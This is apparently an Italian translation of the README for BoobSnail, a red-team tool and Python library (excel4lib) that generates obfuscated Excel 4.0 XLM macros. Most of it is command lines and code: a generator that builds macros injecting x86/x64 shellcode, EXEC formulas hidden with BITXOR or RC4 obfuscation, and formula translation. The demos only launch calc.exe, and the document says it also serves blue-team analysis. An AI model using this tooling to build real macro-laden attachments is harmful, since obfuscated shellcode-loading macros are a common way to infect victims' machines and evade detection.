
Genera macro XLM di Excel 4.0 offuscate per operazioni red team e analisi blue team, con supporto per molteplici tecniche di infezione, traduzione di formule e generatori personalizzati basati su librerie.
Seguici su Twitter!
BoobSnail consente di generare macro XLM (Excel 4.0). Il suo scopo è supportare RedTeam e BlueTeam nella generazione di macro XLM. Caratteristiche:
Testato su: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
Per visualizzare i generatori disponibili digita:
python boobsnail.py
Genera una macro offuscata che inietta shellcode x64 o x86:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
Genera una macro offuscata che esegue calc.exe:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail condivide la libreria excel4lib che consente di creare il proprio generatore di macro Excel4. excel4lib contiene alcune classi che possono essere utilizzate durante la scrittura del generatore:
excel4lib.macro.Excel4Macro - consente di definire formule Excel4, valori e variabili;excel4lib.macro.obfuscator.Excel4Obfuscator - consente di offuscare le istruzioni create in Excel4Macro;excel4lib.lang.Excel4Translator - consente di tradurre le formule in un'altra lingua.L'idea principale di questa libreria è rappresentare formule, variabili, argomenti di formule e valori Excel4 come oggetti Python. Grazie a ciò, puoi modificare facilmente gli attributi delle istruzioni come nomi di formule o variabili, valori, indirizzi, ecc. Ad esempio, creiamo una semplice macro che esegue calc.exe
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Risultato:
cmd="calc.exe";
=EXEC(cmd);
Ora supponiamo che tu voglia offuscare la tua macro. Per farlo, devi solo importare l'offuscatore e passarlo all'oggetto Excel4Macro:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Per ora excel4lib mette a disposizione due classi di offuscamento:
excel4lib.macro.obfuscator.Excel4Obfuscator utilizza funzioni Excel 4.0 come BITXOR, SUM, ecc. per offuscare la tua macro;excel4lib.macro.obfuscator.Excel4Rc4Obfuscator utilizza la crittografia RC4 per offuscare le formule.Come puoi vedere, puoi scrivere la tua classe di offuscamento e usarla in Excel4Macro.
A volte avrai bisogno di tradurre la tua macro in un'altra lingua, ad esempio la tua lingua madre, nel mio caso è il polacco. Con excel4lib è piuttosto semplice. Devi solo importare la classe Excel4Translator e chiamare set_language
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Risultato:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
Per ora, sono supportate solo le lingue inglese e polacca. Se vuoi usare un'altra lingua, devi aggiungere le traduzioni nella directory excel4lib/lang/langs.
Sicuramente avrai bisogno di creare una formula che prenda un'altra formula come argomento. Puoi farlo usando la funzione Excel4Macro.argument.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())
Risultato:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
Come puoi vedere, la stringa ".exe" è stata passata alla formula CONCATENATE come R2C1. R2C1 è l'indirizzo del valore ".exe" (riga numero 2 e colonna numero 1). excel4lib restituisce riferimenti a formule e valori come indirizzi. I riferimenti alle variabili vengono restituiti come nomi. Probabilmente hai notato che la classe Excel4Macro aggiunge formule, variabili e valori al foglio di lavoro automaticamente nell'ordine in cui questi oggetti vengono creati e che l'indirizzo iniziale è R1C1. Cosa succede se vuoi posizionare le formule in un'altra colonna o riga? Puoi farlo chiamando la funzione Excel4Macro.set_cords.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())
Risultato:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;